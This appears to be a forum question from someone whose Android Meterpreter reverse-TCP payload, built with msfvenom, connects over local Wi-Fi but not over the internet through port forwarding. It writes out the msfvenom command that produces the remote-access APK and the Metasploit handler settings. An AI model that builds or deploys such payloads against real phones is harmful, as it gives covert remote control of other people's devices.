I tried to install a payload and created it using the following command
msfvenom -p android/meterpreter/reverse_tcp LHOST=public ip LPORT=21 R > andro.apk
then i tried to establish a meterpreter session using the following commands:
set payload android/meterpreter/reverse_tcp
set LHOST (portforwarded internal ip)
set LPORT 21
when I click on exploit, it keeps on
it shows as
"starting the payload handler"
and no meterpreter session gets established
1) The session gets establishes when i try this over wlan
2) The ip is portforwarded (port= 21)
3) when i try to enter my public ip in the handler it shows the message
" handler failed to bind ............"
4) the ports are opened